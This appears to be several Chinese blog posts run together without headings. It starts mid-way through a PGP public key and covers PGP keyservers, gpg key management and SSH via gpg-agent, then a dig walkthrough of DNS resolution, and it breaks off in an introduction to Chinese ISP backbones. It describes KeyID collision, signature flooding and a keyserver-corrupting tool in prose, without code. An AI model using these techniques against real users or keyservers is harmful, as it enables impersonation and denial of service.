m+otjYGMSj8iABEn1uthWTDrLlE2WDbaOKM5w1xHe8cpZajEv1jfB0whmyryLUGx
hjVOp2BpEwWxRWsuN3uWSvVUmQiESjzwNqcca4d+iaYRXfnzGUgUVTXbeGlZHjHJ
XbXBUS3zYepSnVGynWx2GDi8bll+irPD3I7UAaVamVVxA6/OWkmf+3Et5ZVpP6Xc
L3PrX/CN1BaH/0ifHmsOPvKcL/u3Vd+GqaxavenBoXc+RJTb+CtkMPaqgghIZjOl
QtQbfbk7ba6D1WpSUdEpLPLgqAQ1q9m55X1PYYGvu8ySzoUCe9D77Mf8u93oyGOD
gsJH8kX9yKDYo3aVLciLFDsvwJ5Qr4/bATSKNrWVo1fon9Rly5CrQpF6gMF62LVH
SpOy4+BUDGw+J52jVo+3fl5fIFGkURIVIIAJJhL6aCAxsauXVsqXxjPatiR5+/Q7
dMShdoMJ+xHJ2zgkN2C0loX6VCl+HKbNong16WASuQGNBGGzBfgBDADE7YzEqzbt
99Epe2FIoUC4Z4iIr2TOw44NkWvv0FtBsxECX9I69/Krj+bGny2nDjerRTyxWFIU
yMgHucgCXKasQZdJV9qmY1mUgjahfSVBTwR2WFKPhWJVKahjaegjvRI0k/mHHoWu
gu+HyZlHl0DuMj+uvmcU1uBqMEZenWh2B7/kqbe/Ldiiee2HO9Nncs1TuL5IDvUH
2SHdjb/oT40mVbX3uaeeev/d3HukRUUwzb1zcpWdtQ82HsPZ7kHEltAFD1IhY083
8g2x4rNIGrlPbOADGBoCDwwNIIO7sEEGT37kphzn92EFb9Q3cs8Wweqo6tsy/bjG
vAP20qZ8syf6L5LPmL1KvPH+Rc2/Yr33gkjuAqmFxACrIgI6n4x1mYt2U7VChob/
99i2oDeJS3FXb2/zPpy6fEXlXPzk0LUmtqfPoDvQRj7b53XoRBlFV7hEmXhUw0Au
JhGudMQDJPXW/XPBzGyCNuTV/34KLszyhi4Lu38ArV61WdIm2qdqsycAEQEAAYkB
vAQYAQgAJhYhBGvWEtYDFU2Y7Y87J2YCM0Wc9ZgCBQJhswX4AhsMBQkDwjHIAAoJ
EGYCM0Wc9ZgC198MAJ1C715T1TSEaD6F8ENRuj0wXQ1Nu+EG9+68XplbKASM+YNJ
9LNe7IiiB0SAR13DOT6lM3urifXtnEcQ/ZQTISkFzrr+PytkNd62kWmMU226enq+
/r70AqfghazPdueb3FXjNQjiej6rfISeho4rIonqItvBVhR6Ka+y+pP3zBlhimPj
OEr55d7ewb9Z+PCNng8Td0njAKJzZmtybEXcTwCIxES6DhlH8dPwkSi1WcYCtquW
oUcim1FlzRF0sNFnbhfhjbdHMJLPa0kcrRyaxSYGkQ+dmrfXfXPAOMSGz5NiV6mg
JLUSNMMoHcMmAVYbIQlvdCDV56IBh8R/3NW+iNIN/gyYH+uEeRm1Fs5rEtKmtNt1
KCfHkF8jlwfk1A6z+LQ80YOfQ12i+XlGa6c1w11xwXYiKMC15ErY3i+cBAlHHiRN
+amOTCb524EgrgcOOD6r4SKEr0wdwRXEELL19/rNKvBI+TafNoVGkNyoEg9+YSX4
8/toTD7B4wF0PjVeKw==
=QjYH
-----END PGP PUBLIC KEY BLOCK-----
这么长的公钥抄写到纸上,然后开车送到朋友那里,再让朋友照着这个输入他的电脑。如果中间有变动,需要重复以上过程n次。
那么还有其他办法吗?
那个时代还没有line、wechat这类即时通讯软件,而邮件提供商默认是不可靠的,不然也不会有PGP的诞生。 并且彼时https还未出现,用邮件交换PGP交换公钥显然不太安全。
你们双方都需要便捷地交换公玥, 并且确认彼此得到的公钥确实是未经篡改过的,真实有效的,就成了一个难题,这样,公钥服务器也就呼之欲出了。
公钥服务器使得人们只需要交换他们短短的key id 或者user id就可以方便地从公钥服务器下载公钥。
第一个KeyServer 叫做 HKP( web-based OpenPGP HTTP Keyserver Protocol) Keyserver , 诞生在上世纪90年代,是Marc Horowitz在麻省理工学习时为了他的论文而搭建的。在此之前, 虽然不是那么安全, 但是大部分人依靠电子邮件来交换公钥。
虽然服务器有了, 但开发者们担心政府会试图强迫钥匙服务器运营商用政府选择的各种证书来替换证书。
所以他们做出了一个决定:公钥服务器永远不会删除信息。公钥服务器可以为现有的证书添加信息(比如可以revoke/sign或者调整expire时间),但永远永远永远不会删除证书或证书的信息。
为了达到这个目标,他们开始运行一个分布式的国际公钥服务器网络,这就是现在的KeyServer。世界各地的公钥服务器会定期相互通信,同步,比较目录。如果政府强迫公钥服务器运营商删除或修改证书,那么在比较步骤中就会被发现。残缺的公钥服务器会用完好钥匙服务器目录中的内容更新自己。
任何东西都不会被删除,听起来很美好,也是解决政府审查问题的一个简单而有效的办法,可是正是这个原则后来给KeyServer带来了无穷无尽的问题。
好了,现在我们有了一个可以方便地上传和下载公钥的地方, 这样是不是就万事大吉了呢?
对于KeyServer 来说,任何人都可以上传公钥并声称自己是Linus, 是Zuckerberg,或是任何其他人,而KeyServer并不会去验证你是否是你所声称的人(因为KeyServer本来就没有一个中心化的运营者)。
如果你有一些密码学的基础, 那么就会知道, PGP协议依靠的非对称加密算法, 最脆弱的点就在于公钥的交换这一步。公钥交换时最容易收到中间人攻击,你一定要确定你接收到的公钥确实是你想交流的人的,由此TSL引入了CA证书认证体系,由一个可信的权威第三方来认证并颁发证书来解决身份的认证问题。
“信任一个权威的第三方” 对于最初的极具有hack精神的开发者们来说, 显然是无法接受的。
当然,你可以说下载公钥后,通过电话等手段验证下公钥的指纹(fingerprint),就可以确认正确与否。 但是想象一下, 如果你在公钥服务器找到一个声称自己Linus Torvalds 的人, 你并没有他的其他联系方式,将永远无法确定这个公钥持有者到底是谁、这个公钥可信与否 , 这样无疑是低效的,并且使整个系统沦为了熟人之间的小网络。
要知道,根据六度分隔理论(Six Degrees of Separation),世界上任何互不相识的两人,平均通过六个人就可以产生联系。 那么可以不可以这么思考, 假设我和小A见过面并检查过他的公钥,因而知道小A的公钥的的确确属于他本人,我选择信任小A。而小A同样验证了小B的证书并为小B的证书签名背书——小A的证书的持有人在此证明该证书是真实属于小B。那么我无须见亲见小B本人,也可以通过小A的背书而接受小B的证书。
如此循环下去,就形成了一张网, 这就是信任网络。
KeyServer虽然一直是PGP的重要基础设置 ,但SKS Keyserver Pool 其实目前只有不到20台服务器,GnuPG默认用的服务器是其中的 HKPS pool,只有四台服务器。
Base Modern Software KeyServer
有一些KeyServer 没有用SKS的软件,运行的是更下现代和稳定的软件,比较有代表性的是 Ubuntu keyserver, 基于Hockeypuck , 这些服务器仍然会和SKS pool保持同步。
独立KeyServer
这些服务器不与SKS pool同步数据,由中心化的运营者运行, 会对公钥上传者做一定的认证, 并且支持删除自己的公钥。
比较有代表性的有, <keys.openpgp.org> ,KeyBase等等。
gpg --send-keys {keyid/uid}
gpg --recv-keys {keyid/uid}
此时有可能报错
gpg: "xxxxxr" not a key ID: skipping
这时换个KeyServer就行:
gpg --keyserver hkps://keyserver.ubuntu.com --recv-keys {keyid/uid}
验证公钥真实性 依靠多渠道确认的 公钥指纹。
一般来说为别人的公钥签名后,需要发还给他,或者发到公钥服务器(最好经过本人同意)。
gpg --sign-key {keyid/uid} # 为已经导入的 他人钥签名, 你为他签名,意味着你将为他的身份真实性背书,请谨慎操作
在20世纪90年代初,开发者们怀着对技术的信心和人性的希望,期望创建一个友善 、纯粹、没有审查的净土, 在当时背景下,KeyServer不能删除任何已上传的东西,听起来是美好的,设计似乎是合理的。
但是事实是,网络匿名环境中充满了不那么友好的, 甚至是恶意的使用者,在当今看来 ,KeyServer这个系统并不健壮,问题重重,许多问题已经被发现十多年,而且无望解决。
按照官方推荐, UID (User ID) 是用来存储用户信息的,应该在里面填上你的名字和邮箱,一个 GPG 帐号下可以有若干个 UID。
而其实这个UID是没有任何强制限制的,也就是说你可以在UID中放入任何东西,可以是小说片段,可以是磁力链接,可是以编码后的图像、音频或视频…… :
当上传到KeyServer时, UID限制了2k的字符 . 以至于有人写了个用KeyServer存文件的项目keyserver-fs。
再次想象一下,你往网盘传了一个文件,共享给其他人,全世界的人都可以往这个网盘文件中添加文件,而且永远无法删除,情况会变得有多糟糕。
博主见过一些生成 PGP“靓号”的工具,就是指定你喜欢的ID规则,工具会暴力生成PGP密钥, 从中返回给你想要的密钥。
由此很容易想到,若攻击者知道了目标的KeyID, 完全可以通过工具来生成完全一样的KeyID(这就是碰撞), 并上传到KeyServer,来冒充目标。
而伪造一个KeyID有多容易呢,有研究人员借助scallion程序,使用了普通的GPU(Nvidia GeForce GTX)进行碰撞,花了4秒的时间就生成了一个指定的32 bit的 KeyID。
官方推荐公布自己的KeyID时,最少应该公布64 bit(也就是长16位16进制数啦 ),但是研究表明64 bit的KeyID也是可以 被碰撞的。
公钥服务器任何人都可以上传公钥,甚至你可以上传别人的公钥,比如你可以将自己签名过的别人的公钥,再次上传到KeyServer。
在PGP的证书认证体系的设计中, 当客户端收到一份未知证书时,它应当从公钥服务器拉取所有为这张证书签过名的人的证书,逐层上溯,看看是否能够找到一张已经被用户信任的证书。如果能的话,就视信任这张为可信的。
2019年6月,有攻击者恶意向公钥服务器提交了对两个著名网友的签名背书。此事件中的受害者 Robert J. Hansen 的证书就被签名了 15000 次。因而任何人的 GPG 在尝试验证他的证书时,都会拉取 15000 个签名。而 GPG 在验证这么多签名的过程中会卡住很久。
由于被攻击的两个人在 GPG 社区中中地位很高,他们在 GPG 信任网络中处于相当核心的位置。这意味着——当你验证任意一份证书的时候,有不小的概率你会不小心拉取到他们俩的证书,然后你的 GPG 就会卡住。不但他们俩的证书没法用了,他们俩签名过的证书也都面临危险,乃至于他们俩签名过的证书所签名的证书……
而上传到KeyServer的所有东西都是不可删除的…为了解决这个问题, GnuPG 2.2.17 LWN.net 开始, 从KeyServer下载公钥时默认不再下载关联的公钥.
有人写了个工具SKS-Exploit,可以将任何人的PGP公钥损坏,变得不可导入。
这个工具同时还可以给任意人的公钥 追加伪造的UID(不是KeyID),并骗过KeyServer。
另外能直接让KeyServer宕机。
讽刺的是, 最初为了保护人们隐私而生的PGP , 却因为不能满足保护隐私的法规GDPR ,而使一个公开的 SKS 公钥服务器在欧洲处于违法状态(GDPR规定服务商必须提供删除个人信息的选项)。
许多新手按照教程提示的在创建PGP 密钥的时候填上了自己的真实姓名,并按照那些教程将公钥上传到了KeyServer,在人肉社工猖獗的今天,简直是个灾难。
我试着在KeyServer搜过一些博客作者留下的PGP Key, 不乏有些比较注重自身隐私的,可是他们大部分都将自己真实的名字(汉字或拼音)和邮箱一起发到了服务器上,要知道那里的数据是公开且永远不能删除的。 也有些人意识到问题之后revoke了带有真实姓名的公钥,可是仍然可以查到,并且变得更加显眼(revoke过的key会变红)。
这是通过Gpg4win的使用的一个示例,
这种方法不会泄露自己的邮箱,也不需要验证指纹, 但是需要你的邮件服务商提供支持。
proton邮箱是原生支持 WKD的, 但是它使用的是自己私钥,似乎没办法使用使用自己本地的公钥,其他也有支持。
如果你有自己的邮箱服务器,并且想折腾的话,可以参照WKD Hosting。
如果是想认识更多的人,并让自己的公钥被更多的人认证, 你可以参加一个公钥签名派对。参与派对的人们相互交换公钥的指纹(公钥一般是存在服务器或是一个别人可以下载到的地方,这里只交换指纹),甚至需要相互出示身份证、护照、驾照、出身证明,以验明正身。
4.个人网站 或 社交软件中
现在中文世界, PGP的使用者中 有很多都是 独立的博客作者, 如果你拥有自己的博客或者个人网站,当然可以选择将自己的公钥发布在上面,最好给你的网站上一个HTTPS 。
很多社交网站的个人展示页,可以自由编辑你的信息,你可以将PGP的 公钥发布在这里, 或者将 指纹 放在这, 这样通过其他渠道下载到公钥的人,也可以确认身份。
代码仓库或Gist
无论你是不是开发者, 都可以拥有一个Github账号, 你可以开一个仓库专门用来发布自己的公钥,或者将公钥发布到Gist。
共享笔记
Notion或者印象笔记等可以共享笔记的地方,都可以贴出你的公钥。
使用分散的、多渠道的、可能是线下的方式来交换和确认公钥 ,不要相信在放一处的 公钥 和指纹。
去验证紧跟在公钥后面的指纹 , 就像你去问一个诈骗者,他是不是一个诈骗者一样无用。
如果不是当面,请至少从两个渠道进行验证,比如你从一个渠道(比如这里)得到了我的公钥 , 你想和我安全通信的话,导入前一定要从另一处(https://keys.openpgp.org/search?q=gd1214b%40gd1214b.icu)得到我的指纹, 验证是否一致后再进行操作。
而且每次使用前,请重复以上步骤,确保你手上的公钥是最新的。
PGP支持很多算法,可是前面我们生成密钥时,只见到了很少的几种。
因为gpg还有一种隐藏模式—- 专家模式,生成密钥时可以使用
gpg --expert --full-gen-key
# 输出
Please select what kind of key you want:
(1) RSA and RSA (default)
(2) DSA and Elgamal
(3) DSA (sign only)
(4) RSA (sign only)
(7) DSA (set your own capabilities)
(8) RSA (set your own capabilities)
(9) ECC and ECC
(10) ECC (sign only)
(11) ECC (set your own capabilities)
(13) Existing key
(14) Existing key from card
就可以看到多出来不少选项,其中ECC算法 全称Elliptic Curve Cryptography 椭圆曲线密码算法。
上面我选了 9 , 继续
Please select which elliptic curve you want
(1) Curve 25519
(3) NIST P-256
(4) NIST P-384
(5) NIST P-521
(6) Brainpool P-256
(7) Brainpool P-384
(8) Brainpool P-512
(9) secp256k1 # 比特币使用的算法
其中美国国家标准与技术研究院(NIST)系列椭圆曲线、Brainpool系列椭圆曲线、secp256k1都存在不同的安全风险,不建议使用。
可以发现这里少了(2), 其实这里还有一些隐藏算法没有列出,可通过如下命令查看
gpg --list-config --with-colons curve
# 输出
cfg:curve: cv25519;ed25519;nistp256;nistp384;nistp521;brainpoolP256r1;brainpoolP384r1;brainpoolP512r1;secp256k1
上面缺少的(2)对应的就是ed25519 ,是一种签名算法,你选择 (1)时, 主密钥用来签发和签名 用的就是ed25519,自动生成的用来加密的子密钥 算法 是cv25519 。
ECC算法比RSA的优势在于,在同等强度下,ECC的密钥长度要小的多,性能也会好一些。 RSA算法的PGP私钥 通过paperkey精简过后一般还会有50+行HEX数据,如果使用的是ECC算法生成的话, 可以减到8行以内,手抄完全没问题。
RSA算法的优势在于大部分硬件设备的兼容性比较好,比如 YubiKey 5 支持 RSA 4096,但不支持 Curve 25519。而且多数设备都对RSA算法提供了硬件加速。
UID 即 user id , 由三个部分组成:
UID的性质:
gpg --edit-key {keyid/uid}
gpg> adduid # 进入交互界面后 输入 help 可以查看支持的操作
# 输入你要追加的信息
使用UID的场景有哪些呢? 如果你使用一个不常用的邮箱作为你的github/gitlab账号,你主要的邮箱生成的PGP 密钥就不能用来签名了。
这时候为了保护隐私 且 只要管理一个密钥,就可以 在 Github设置里把 Keep my email addresses private勾上,将为你生成的随机邮箱添加到 uid中, 这样就只需要管理一个PGP密钥,可以同时为你不同的Git账号签名。
跟添加UID差不多, 在gpg交互 界面 输入 addphoto 就可以, 想要查看的话 输入showphoto。
只要你PGP的uid包含 git config 中的邮箱, 使用
git commit -S -m your commit message
即可签名。
gpg --expert --edit-key {keyid/uid} ## 使用专家模式, 不然没有认证的选项
gpg> addkey
Please select what kind of key you want:
(3) DSA (sign only)
(4) RSA (sign only)
(5) Elgamal (encrypt only)
(6) RSA (encrypt only)
(7) DSA (set your own capabilities)
(8) RSA (set your own capabilities)
(10) ECC (sign only)
(11) ECC (set your own capabilities)
(12) ECC (encrypt only)
(13) Existing key
Your selection? 8 ## 选8, RSA, 自定义权限
Possible actions for a RSA key: Sign Encrypt Authenticate
Current allowed actions: Sign Encrypt ## 这里显示默认有Sign和Encrypt两种权限
(S) Toggle the sign capability
(E) Toggle the encrypt capability
(A) Toggle the authenticate capability
(Q) Finished
Your selection? S ## 关闭Sign
Possible actions for a RSA key: Sign Encrypt Authenticate
Current allowed actions: Encrypt
(S) Toggle the sign capability
(E) Toggle the encrypt capability
(A) Toggle the authenticate capability
(Q) Finished
Your selection? E ## 关闭Encrypt
Possible actions for a RSA key: Sign Encrypt Authenticate
Current allowed actions:
(S) Toggle the sign capability
(E) Toggle the encrypt capability
(A) Toggle the authenticate capability
(Q) Finished
Your selection? A ## 开启Authenticate
Possible actions for a RSA key: Sign Encrypt Authenticate
Current allowed actions: Authenticate
(S) Toggle the sign capability
(E) Toggle the encrypt capability
(A) Toggle the authenticate capability
(Q) Finished
Your selection? Q ## 退出
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048) 4096
Requested keysize is 4096 bits
Please specify how long the key should be valid.
0 = key does not expire
<n> = key expires in n days
<n>w = key expires in n weeks
<n>m = key expires in n months
<n>y = key expires in n years
Key is valid for? (0) 1y ## 有效期
Key expires at Tue Jan 7 11:33:54 2020 CST
Is this correct? (y/N) y
Really create? (y/N) y
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
sec rsa2048/7DEFA5351BCE3C55
created: 2019-01-07 expires: 2021-01-06 usage: SC
trust: ultimate validity: ultimate
ssb rsa2048/2FCE923F8ECB63F6
created: 2019-01-07 expires: 2021-01-06 usage: E
ssb rsa4096/19D32A8839DCAA1F
created: 2019-01-07 expires: 2020-01-07 usage: A
[ultimate] (1). hhhhh <h@mail.com>
gpg> save ## 保存
bashrc
文件, 将默认ssh 的agent替换为 gpg-agnet
# ~/.bashrc
export GPG_TTY=$(tty)
export SSH_AUTH_SOCK=$(gpgconf --list-dirs agent-ssh-socket)
echo UPDATESTARTUPTTY | gpg-connect-agent 1> /dev/null
编辑~/.gnupg/gpg-agent.conf
文件,增加:
enable-ssh-support
接着:
❯ gpg -k --with-keygrip
/Users/root/.gnupg/pubring.kbx
-----------------------------
pub rsa2048 2019-01-07 [SC] [expires: 2021-01-06]
8A9FC025A44AA4824C1F4AE27DEFA5351BCE3C55
Keygrip = BEFCCDFE36CC5442B888B8459265C68B60A4ABD2
uid [ultimate] hhhhh <h@mail.com>
sub rsa2048/0xF681DAEBBAB82124 2019-01-07 [E] [expires: 2021-01-06]
Keygrip = 422922ACFD099E79863D93B93333528F225C90FC
sub rsa2048/0x501DEDC36BD409C8 2019-01-07 [A] [expires: 2020-01-07]
Keygrip = 999A87A51CFE82DAA494BEB42F585051307F9E33
选择你新加的带有[A]标志的那个新的子密钥的 keygrip , 即999A87A51CFE82DAA494BEB42F585051307F9E33
加入到~/.gnupg/sshcontrol文件
, 运行ssh-add -l
, 查看是否已经加入。
然后:
gpg --export-ssh-key {keyid}!
注意,这里不能用 uid, 里只能填子密钥的 key id,这个例子里就是 0x501DEDC36BD409C8
。
输出的 ssh public key 放到你的服务器上的~/.ssh/authorized_keys
中, 重启shell, 就可以连接了。
那么,DNS 查询到底是怎么完成的?本文通过实例,详细介绍背后的步骤。
域名对应的 IP 地址,都保存在 DNS 服务器。
我们输入域名,浏览器就会在后台,自动向 DNS 服务器发出请求,获取对应的 IP 地址。这就是 DNS 查询。
举例来说,我输入 blog.gd1214b.icu
这个域名,浏览器就要向 DNS 服务器查询,它的 IP 地址是什么,然后向该 IP 发出访问请求。
网上有很多公用的 DNS 服务器,这篇文章选择 Cloudflare 公司提供的 1.1.1.1
进行演示。
命令行工具 dig 可以跟 DNS 服务器互动,我们就用它演示 DNS 查询。如果你还没有安装,可以搜一下安装方法,在 Linux 系统下是非常容易的。
它的查询语法如下(美元符号$
是命令行提示符)。
$ dig @[DNS 服务器] [域名]
向 1.1.1.1 查询域名,就执行下面的命令。
$ dig @1.1.1.1 blog.gd1214b.icu
正常情况下,它会输出一大堆内容。
; <<>> DiG 9.16.27-Debian <<>> blog.gd1214b.icu
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8420
;; flags: qr rd ad; QUERY: 1, ANSWER: 14, AUTHORITY: 0, ADDITIONAL: 0
;; WARNING: recursion requested but not available
;; QUESTION SECTION:
;blog.gd1214b.icu. IN A
;; ANSWER SECTION:
blog.gd1214b.icu. 0 IN A 172.67.172.180
blog.gd1214b.icu. 0 IN A 104.21.30.93
dell.ns.cloudflare.com. 0 IN A 108.162.192.94
dell.ns.cloudflare.com. 0 IN A 172.64.32.94
dell.ns.cloudflare.com. 0 IN A 173.245.58.94
corey.ns.cloudflare.com. 0 IN A 108.162.195.24
corey.ns.cloudflare.com. 0 IN A 162.159.44.24
corey.ns.cloudflare.com. 0 IN A 172.64.35.24
dell.ns.cloudflare.com. 0 IN AAAA 2803:f800:50::6ca2:c05e
dell.ns.cloudflare.com. 0 IN AAAA 2a06:98c1:50::ac40:205e
dell.ns.cloudflare.com. 0 IN AAAA 2606:4700:50::adf5:3a5e
corey.ns.cloudflare.com. 0 IN AAAA 2a06:98c1:50::ac40:2318
corey.ns.cloudflare.com. 0 IN AAAA 2606:4700:58::a29f:2c18
corey.ns.cloudflare.com. 0 IN AAAA 2803:f800:50::6ca2:c318
;; Query time: 510 msec
;; SERVER: 172.21.32.1#53(172.21.32.1)
;; WHEN: Fri Aug 05 18:20:55 CST 2022
;; MSG SIZE rcvd: 436
在其中找到 ANSWER SECTION
这个部分,它给出了查询的答案,域名对应的 IP 地址是 172.67.172.180。
你可能会问,难道 DNS 服务器(比如 1.1.1.1
)保存了世界上所有域名(包括二级域名、三级域名)的 IP 地址?
当然不是。DNS 是一个分布式系统,1.1.1.1
只是用户查询入口,它也需要再向其他 DNS 服务器查询,才能获得最终的 IP 地址。
要说清楚 DNS 完整的查询过程,就必须了解 域名是一个树状结构。
最顶层的域名是根域名(root),然后是顶级域名(top-level domain,简写 TLD),再是一级域名、二级域名、三级域名。
所有域名的起点都是根域名,它写作一个点.,放在域名的结尾。因为这部分对于所有域名都是相同的,所以就省略不写了,比如gd1214b.icu
等同于gd1214b.icu.
(结尾多一个点)。
你可以试试,任何一个域名结尾加一个点,浏览器都可以正常解读。
根域名的下一级是顶级域名。它分成两种:通用顶级域名(gTLD,比如 .com
和 .net
)和国别顶级域名(ccTLD,比如 .cn
和 .us
)。
顶级域名由国际域名管理机构 ICANN 控制,它委托商业公司管理 gTLD,委托各国管理自己的国别域名。
一级域名就是你在某个顶级域名下面,自己注册的域名。比如,gd1214b.icu
就是我在顶级域名.icu
下面注册的。
二级域名是一级域名的子域名,是域名拥有者自行设置的,不用得到许可。比如,blog
就是 gd1214b.icu
的二级域名。
这种树状结构的意义在于,只有上级域名,才知道下一级域名的 IP 地址,需要逐级查询。
每一级域名都有自己的 DNS 服务器,存放下级域名的 IP 地址。
所以,如果想要查询二级域名 blog.gd1214b.icu
的 IP 地址,需要三个步骤。
第一步,查询根域名服务器,获得顶级域名服务器.icu
(又称 TLD 服务器)的 IP 地址。
第二步,查询 TLD 服务器 .icu,获得一级域名服务器 gd1214b.icu
的 IP 地址。
第三步,查询gd1214b.icu
的一级域名服务器 ,获得二级域名blog
的 IP 地址。
下面依次演示这三个步骤。
根域名服务器全世界一共有13台(都是Anycast IP)。它们的域名和 IP 地址如下。
根域名服务器的 IP 地址是不变的,集成在操作系统里面。
操作系统会选其中一台,查询 TLD 服务器的 IP 地址。
$ dig @192.33.4.12 blog.gd1214b.icu
上面示例中,我们选择192.33.4.12,向它发出查询,询问blog.gd1214b.icu
的 TLD 服务器的 IP 地址。
dig 命令的输出结果如下。
; <<>> DiG 9.16.27-Debian <<>> @192.33.4.12 blog.gd1214b.icu
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44298
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 4, ADDITIONAL: 9
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: e5e562298e43a3e00100000062ecf0f6f7ad721265122497 (good)
;; QUESTION SECTION:
;blog.gd1214b.icu. IN A
;; AUTHORITY SECTION:
icu. 172800 IN NS c.nic.icu.
icu. 172800 IN NS b.nic.icu.
icu. 172800 IN NS a.nic.icu.
icu. 172800 IN NS d.nic.icu.
;; ADDITIONAL SECTION:
d.nic.icu. 172800 IN A 212.18.249.108
c.nic.icu. 172800 IN A 212.18.248.108
b.nic.icu. 172800 IN A 185.24.64.108
a.nic.icu. 172800 IN A 194.169.218.108
d.nic.icu. 172800 IN AAAA 2a04:2b00:13ff::108
c.nic.icu. 172800 IN AAAA 2a04:2b00:13ee::108
b.nic.icu. 172800 IN AAAA 2a04:2b00:13cc::1:108
a.nic.icu. 172800 IN AAAA 2001:67c:13cc::1:108
;; Query time: 459 msec
;; SERVER: 192.33.4.12#53(192.33.4.12)
;; WHEN: Fri Aug 05 18:29:06 CST 2022
;; MSG SIZE rcvd: 323
因为它给不了blog.gd1214b.icu
的 IP 地址,所以输出结果中没有 ANSWER SECTION,只有一个 AUTHORITY SECTION,给出了icu.
的4台 TLD 服务器的域名。
下面还有一个 ADDITIONAL SECTION,给出了这4台 TLD 服务器的 IP 地址(包含 IPv4 和 IPv6 两个地址)。
有了 TLD 服务器的 IP 地址以后,我们再选一台接着查询。
$ dig @194.169.218.108 blog.gd1214b.icu
上面示例中,194.169.218.108
是随便选的一台 .icu 的 TLD 服务器,我们向它询问 blog.gd1214b.icu 的 IP 地址。
返回结果如下。
; <<>> DiG 9.16.27-Debian <<>> @194.169.218.108 blog.gd1214b.icu
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 50740
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 2, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 7a0ca80202a2796eff8eca8e62ecf209f49eb3246199ce57 (good)
;; QUESTION SECTION:
;blog.gd1214b.icu. IN A
;; AUTHORITY SECTION:
gd1214b.icu. 3600 IN NS corey.ns.cloudflare.com.
gd1214b.icu. 3600 IN NS dell.ns.cloudflare.com.
;; Query time: 340 msec
;; SERVER: 194.169.218.108#53(194.169.218.108)
;; WHEN: Fri Aug 05 18:33:41 CST 2022
;; MSG SIZE rcvd: 129
它依然没有 ANSWER SECTION 的部分,只有 AUTHORITY SECTION,给出了一级域名 gd1214b.icu.
的两台 DNS 服务器。
下面的 ADDITIONAL SECTION 就是这两台 DNS 服务器对应的 IP 地址。
第三步,再向一级域名的 DNS 服务器查询二级域名的 IP 地址。
dig @corey.ns.cloudflare.com. blog.gd1214b.icu
返回结果如下。
; <<>> DiG 9.16.27-Debian <<>> @corey.ns.cloudflare.com. blog.gd1214b.icu
; (20 servers found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 22957
;; flags: qr aa rd; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;blog.gd1214b.icu. IN A
;; ANSWER SECTION:
blog.gd1214b.icu. 300 IN A 104.21.30.93
blog.gd1214b.icu. 300 IN A 172.67.172.180
;; Query time: 20 msec
;; SERVER: 162.159.44.24#53(162.159.44.24)
;; WHEN: Fri Aug 05 18:36:40 CST 2022
;; MSG SIZE rcvd: 77
这次终于有了 ANSWER SECTION,得到了最终的二级域名的 IP 地址。
至此,三个步骤的 DNS 查询全部完成。
总结一下,上面一共提到了四种DNS服务器。
它们都属于 DNS 服务器,都用来接受 DNS 查询。但是作用不一样,属于不同的类别。
后三种服务器只用来查询下一级域名的 IP 地址,而 1.1.1.1 则把分步骤的查询过程自动化,方便用户一次性得到结果,所以它称为递归 DNS 服务器(recursive DNS server),即可以自动递归查询。
我们平常说的 DNS 服务器,一般都是指递归 DNS 服务器。它把 DNS 查询自动化了,只要向它查询就可以了。
它内部有缓存,可以保存以前查询的结果,下次再有人查询,就直接返回缓存里面的结果。所以它能加快查询,减轻源 DNS 服务器的负担。
一级域名服务器的正式名称叫做权威域名服务器(Authoritative Name Server)。
"权威"的意思是域名的 IP 地址由它给定,不像递归服务器自己做不了主。我们购买域名后,设置 DNS 服务器就是在设置该域名的权威服务器。
综上所述,DNS 服务器可以分成四种:
它们的关系如下图。
知道了 DNS 查询的原理,完全可以自己写一个 DNS 的递归服务器,方法很简单。网上有很多参考资料,有兴趣的话,大家可以试试看。
本文主要探讨的是IPv4网络,对于IPv6网络,那就是另一个故事了~ 我想在整理完此文后,对几条重要的线路单独拿出来说一说,我会直接拿接入该线路的VPS来做测试,来最大化给读者可视化线路质量。
此文采用CC BY-NC-SA 4.0协议,可自由摘取片段用于非商业用途分享。
目前国内有三大ISP,电信、联通、移动,电信有2大骨干网——163和CN2,联通有2大骨干网——169和A网,移动只有1个骨干网CMNET,一共有5大骨干网,这些骨干网都有自己的独立国际出口,和国外ISP有直接Peer或Transit。
另外有用于科研和教育用途的2个小型骨干网,CERNET(教育网,主用于高校)和CSTNET(科技网),这2个骨干网也有自己的独立国际出口,但是总体规模远小于电信、联通、移动,故能承载的出国带宽有限。
电信的163骨干网自治系统编号 AS4134
电信的CN2骨干网自治系统编号 AS4809
联通的169骨干网自治系统编号 AS4837
联通的A网骨干网自治系统编号 AS9929
移动的CMNET境内骨干网自治系统编号 AS9808
移动的CMI境外骨干网自治系统编号 AS58453
CERNET骨干网自治系统编号 AS4538
CSTNET骨干网自治系统编号 AS7497
要注意一点的是,CMNET并没有和国外ISP有直接的互联,而是借助其境外骨干网CMI进行互联的。
显然,如果我们只是了解到这里,对于后文的很多内容,读者还是无法理解,所以我们还需要知道这些骨干网更详细的信息,让我们一个个来看。
以下的各AS BGP互联图来自 bgp.he.net ,版权归Hurricane Electric所有。
如果对此已经完全熟悉的朋友建议直接跳过下面这段介绍
宽带业务范围:普通家用宽带、商用宽带、政企宽带
海外加速的专有业务:163精品网套餐(上海地区)
已知出口:北京、上海、广州
